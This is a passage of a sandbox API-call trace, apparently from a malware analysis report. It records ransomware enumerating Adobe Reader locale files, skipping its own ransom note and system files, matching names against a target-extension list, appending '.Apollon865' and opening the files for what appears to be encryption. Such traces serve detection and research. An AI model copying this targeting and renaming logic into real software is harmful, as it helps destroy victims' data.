	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.836] lstrlenW (lpString="dbf") returned 3
	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.836] lstrlenW (lpString="mdf") returned 3
	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.836] lstrlenW (lpString="mdb") returned 3
	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.836] lstrlenW (lpString="sql") returned 3
	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.836] lstrlenW (lpString="sqlite") returned 6
	[0059.836] lstrcmpiW (lpString1="ud.CAT", lpString2="sqlite") returned 1
	[0059.836] lstrlenW (lpString="sqlite3") returned 7
	[0059.836] lstrcmpiW (lpString1="oud.CAT", lpString2="sqlite3") returned -1
	[0059.836] lstrlenW (lpString="sqlitedb") returned 8
	[0059.836] lstrcmpiW (lpString1="Loud.CAT", lpString2="sqlitedb") returned -1
	[0059.836] lstrlenW (lpString="xml") returned 3
	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.836] lstrlenW (lpString="$er") returned 3
	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.836] lstrlenW (lpString="4dd") returned 3
	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.836] lstrlenW (lpString="4dl") returned 3
	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.836] lstrlenW (lpString="^^^") returned 3
	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.836] lstrlenW (lpString="abs") returned 3
	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.836] lstrlenW (lpString="abx") returned 3
	[0059.836] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.836] lstrlenW (lpString="accdb") returned 5
	[0059.837] lstrcmpiW (lpString1="d.CAT", lpString2="accdb") returned 1
	[0059.837] lstrlenW (lpString="accdc") returned 5
	[0059.837] lstrcmpiW (lpString1="d.CAT", lpString2="accdc") returned 1
	[0059.837] lstrlenW (lpString="accde") returned 5
	[0059.837] lstrcmpiW (lpString1="d.CAT", lpString2="accde") returned 1
	[0059.837] lstrlenW (lpString="accdr") returned 5
	[0059.837] lstrcmpiW (lpString1="d.CAT", lpString2="accdr") returned 1
	[0059.837] lstrlenW (lpString="accdt") returned 5
	[0059.837] lstrcmpiW (lpString1="d.CAT", lpString2="accdt") returned 1
	[0059.837] lstrlenW (lpString="accdw") returned 5
	[0059.837] lstrcmpiW (lpString1="d.CAT", lpString2="accdw") returned 1
	[0059.837] lstrlenW (lpString="accft") returned 5
	[0059.837] lstrcmpiW (lpString1="d.CAT", lpString2="accft") returned 1
	[0059.837] lstrlenW (lpString="adb") returned 3
	[0059.837] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.837] lstrlenW (lpString="adb") returned 3
	[0059.837] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.837] lstrlenW (lpString="ade") returned 3
	[0059.837] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.837] lstrlenW (lpString="adf") returned 3
	[0059.837] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.837] lstrlenW (lpString="adn") returned 3
	[0059.837] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.837] lstrlenW (lpString="adp") returned 3
	[0059.837] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.837] lstrlenW (lpString="alf") returned 3
	[0059.837] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.837] lstrlenW (lpString="ask") returned 3
	[0059.837] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.837] lstrlenW (lpString="btr") returned 3
	[0059.837] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.837] lstrlenW (lpString="cat") returned 3
	[0059.837] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.837] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT.Apollon865") returned 87
	[0059.838] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\readoutloud.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\readoutloud.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.839] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\readoutloud.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.839] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=11264) returned 1
	[0059.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.839] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.840] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.840] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.840] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f00, lpName=0x0) returned 0x154
	[0059.842] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f00) returned 0x120000
	[0059.847] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.847] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.847] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.847] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.847] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.847] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.847] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.847] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.848] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.848] CloseHandle (hObject=0x154) returned 1
	[0059.848] CloseHandle (hObject=0x15c) returned 1
	[0059.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.848] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="reflow.CAT", cAlternateFileName="")) returned 1
	[0059.848] lstrcmpiW (lpString1="reflow.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2=".") returned 1
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2="..") returned 1
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2="windows") returned -1
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2="bootmgr") returned 1
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2="temp") returned -1
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2="pagefile.sys") returned 1
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2="boot") returned 1
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2="ids.txt") returned 1
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2="ntuser.dat") returned 1
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2="perflogs") returned 1
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2="MSBuild") returned 1
	[0059.849] lstrlenW (lpString="reflow.CAT") returned 10
	[0059.849] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT") returned 76
	[0059.849] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="reflow.CAT" | out: lpString1="reflow.CAT") returned="reflow.CAT"
	[0059.849] lstrlenW (lpString="reflow.CAT") returned 10
	[0059.849] lstrlenW (lpString="Apollon865") returned 10
	[0059.849] lstrlenW (lpString=".dll") returned 4
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2=".dll") returned 1
	[0059.849] lstrlenW (lpString=".lnk") returned 4
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2=".lnk") returned 1
	[0059.849] lstrlenW (lpString=".ini") returned 4
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2=".ini") returned 1
	[0059.849] lstrlenW (lpString=".sys") returned 4
	[0059.849] lstrcmpiW (lpString1="reflow.CAT", lpString2=".sys") returned 1
	[0059.849] lstrlenW (lpString="reflow.CAT") returned 10
	[0059.849] lstrlenW (lpString="bak") returned 3
	[0059.849] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.849] lstrlenW (lpString="ba_") returned 3
	[0059.849] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.849] lstrlenW (lpString="dbb") returned 3
	[0059.849] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.849] lstrlenW (lpString="vmdk") returned 4
	[0059.849] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.850] lstrlenW (lpString="rar") returned 3
	[0059.850] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.850] lstrlenW (lpString="zip") returned 3
	[0059.850] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.850] lstrlenW (lpString="tgz") returned 3
	[0059.850] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.850] lstrlenW (lpString="vbox") returned 4
	[0059.850] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.850] lstrlenW (lpString="vdi") returned 3
	[0059.850] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.850] lstrlenW (lpString="vhd") returned 3
	[0059.850] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.850] lstrlenW (lpString="vhdx") returned 4
	[0059.850] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.850] lstrlenW (lpString="avhd") returned 4
	[0059.850] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.850] lstrlenW (lpString="db") returned 2
	[0059.850] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.850] lstrlenW (lpString="db2") returned 3
	[0059.850] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.850] lstrlenW (lpString="db3") returned 3
	[0059.850] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.850] lstrlenW (lpString="dbf") returned 3
	[0059.850] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.850] lstrlenW (lpString="mdf") returned 3
	[0059.850] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.850] lstrlenW (lpString="mdb") returned 3
	[0059.850] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.850] lstrlenW (lpString="sql") returned 3
	[0059.850] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.850] lstrlenW (lpString="sqlite") returned 6
	[0059.850] lstrcmpiW (lpString1="ow.CAT", lpString2="sqlite") returned -1
	[0059.850] lstrlenW (lpString="sqlite3") returned 7
	[0059.850] lstrcmpiW (lpString1="low.CAT", lpString2="sqlite3") returned -1
	[0059.850] lstrlenW (lpString="sqlitedb") returned 8
	[0059.851] lstrcmpiW (lpString1="flow.CAT", lpString2="sqlitedb") returned -1
	[0059.851] lstrlenW (lpString="xml") returned 3
	[0059.851] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.851] lstrlenW (lpString="$er") returned 3
	[0059.851] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.851] lstrlenW (lpString="4dd") returned 3
	[0059.851] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.851] lstrlenW (lpString="4dl") returned 3
	[0059.851] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.851] lstrlenW (lpString="^^^") returned 3
	[0059.851] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.851] lstrlenW (lpString="abs") returned 3
	[0059.851] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.851] lstrlenW (lpString="abx") returned 3
	[0059.851] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.851] lstrlenW (lpString="accdb") returned 5
	[0059.851] lstrcmpiW (lpString1="w.CAT", lpString2="accdb") returned 1
	[0059.851] lstrlenW (lpString="accdc") returned 5
	[0059.851] lstrcmpiW (lpString1="w.CAT", lpString2="accdc") returned 1
	[0059.851] lstrlenW (lpString="accde") returned 5
	[0059.851] lstrcmpiW (lpString1="w.CAT", lpString2="accde") returned 1
	[0059.851] lstrlenW (lpString="accdr") returned 5
	[0059.851] lstrcmpiW (lpString1="w.CAT", lpString2="accdr") returned 1
	[0059.851] lstrlenW (lpString="accdt") returned 5
	[0059.851] lstrcmpiW (lpString1="w.CAT", lpString2="accdt") returned 1
	[0059.851] lstrlenW (lpString="accdw") returned 5
	[0059.851] lstrcmpiW (lpString1="w.CAT", lpString2="accdw") returned 1
	[0059.851] lstrlenW (lpString="accft") returned 5
	[0059.851] lstrcmpiW (lpString1="w.CAT", lpString2="accft") returned 1
	[0059.851] lstrlenW (lpString="adb") returned 3
	[0059.851] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.851] lstrlenW (lpString="adb") returned 3
	[0059.851] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.851] lstrlenW (lpString="ade") returned 3
	[0059.851] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.851] lstrlenW (lpString="adf") returned 3
	[0059.852] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.852] lstrlenW (lpString="adn") returned 3
	[0059.852] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.852] lstrlenW (lpString="adp") returned 3
	[0059.852] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.852] lstrlenW (lpString="alf") returned 3
	[0059.852] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.852] lstrlenW (lpString="ask") returned 3
	[0059.852] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.852] lstrlenW (lpString="btr") returned 3
	[0059.852] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.852] lstrlenW (lpString="cat") returned 3
	[0059.852] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.852] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT.Apollon865") returned 82
	[0059.852] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\reflow.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\reflow.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.853] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\reflow.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.853] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4608) returned 1
	[0059.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.853] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.854] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.854] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.854] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1500, lpName=0x0) returned 0x154
	[0059.862] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1500) returned 0x120000
	[0059.864] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.865] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.865] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.866] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.866] CloseHandle (hObject=0x154) returned 1
	[0059.866] CloseHandle (hObject=0x15c) returned 1
	[0059.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.867] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SaveAsRTF.CAT", cAlternateFileName="SAVEAS~1.CAT")) returned 1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2=".") returned 1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="..") returned 1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="windows") returned -1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="bootmgr") returned 1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="temp") returned -1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="pagefile.sys") returned 1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="boot") returned 1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="ids.txt") returned 1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="ntuser.dat") returned 1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="perflogs") returned 1
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2="MSBuild") returned 1
	[0059.867] lstrlenW (lpString="SaveAsRTF.CAT") returned 13
	[0059.867] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT") returned 71
	[0059.867] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="SaveAsRTF.CAT" | out: lpString1="SaveAsRTF.CAT") returned="SaveAsRTF.CAT"
	[0059.867] lstrlenW (lpString="SaveAsRTF.CAT") returned 13
	[0059.867] lstrlenW (lpString="Apollon865") returned 10
	[0059.867] lstrcmpiW (lpString1="eAsRTF.CAT", lpString2="Apollon865") returned 1
	[0059.867] lstrlenW (lpString=".dll") returned 4
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2=".dll") returned 1
	[0059.867] lstrlenW (lpString=".lnk") returned 4
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2=".lnk") returned 1
	[0059.867] lstrlenW (lpString=".ini") returned 4
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2=".ini") returned 1
	[0059.867] lstrlenW (lpString=".sys") returned 4
	[0059.867] lstrcmpiW (lpString1="SaveAsRTF.CAT", lpString2=".sys") returned 1
	[0059.867] lstrlenW (lpString="SaveAsRTF.CAT") returned 13
	[0059.867] lstrlenW (lpString="bak") returned 3
	[0059.867] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.867] lstrlenW (lpString="ba_") returned 3
	[0059.867] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.867] lstrlenW (lpString="dbb") returned 3
	[0059.868] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.868] lstrlenW (lpString="vmdk") returned 4
	[0059.868] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.868] lstrlenW (lpString="rar") returned 3
	[0059.868] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.868] lstrlenW (lpString="zip") returned 3
	[0059.868] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.868] lstrlenW (lpString="tgz") returned 3
	[0059.868] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.868] lstrlenW (lpString="vbox") returned 4
	[0059.868] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.868] lstrlenW (lpString="vdi") returned 3
	[0059.868] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.868] lstrlenW (lpString="vhd") returned 3
	[0059.868] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.868] lstrlenW (lpString="vhdx") returned 4
	[0059.868] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.868] lstrlenW (lpString="avhd") returned 4
	[0059.868] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.868] lstrlenW (lpString="db") returned 2
	[0059.868] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.868] lstrlenW (lpString="db2") returned 3
	[0059.868] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.868] lstrlenW (lpString="db3") returned 3
	[0059.868] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.868] lstrlenW (lpString="dbf") returned 3
	[0059.868] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.868] lstrlenW (lpString="mdf") returned 3
	[0059.868] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.868] lstrlenW (lpString="mdb") returned 3
	[0059.868] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.868] lstrlenW (lpString="sql") returned 3
	[0059.868] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.868] lstrlenW (lpString="sqlite") returned 6
	[0059.868] lstrcmpiW (lpString1="TF.CAT", lpString2="sqlite") returned 1
	[0059.869] lstrlenW (lpString="sqlite3") returned 7
	[0059.869] lstrcmpiW (lpString1="RTF.CAT", lpString2="sqlite3") returned -1
	[0059.869] lstrlenW (lpString="sqlitedb") returned 8
	[0059.869] lstrcmpiW (lpString1="sRTF.CAT", lpString2="sqlitedb") returned 1
	[0059.869] lstrlenW (lpString="xml") returned 3
	[0059.869] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.869] lstrlenW (lpString="$er") returned 3
	[0059.869] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.869] lstrlenW (lpString="4dd") returned 3
	[0059.869] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.869] lstrlenW (lpString="4dl") returned 3
	[0059.869] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.869] lstrlenW (lpString="^^^") returned 3
	[0059.869] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.869] lstrlenW (lpString="abs") returned 3
	[0059.869] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.869] lstrlenW (lpString="abx") returned 3
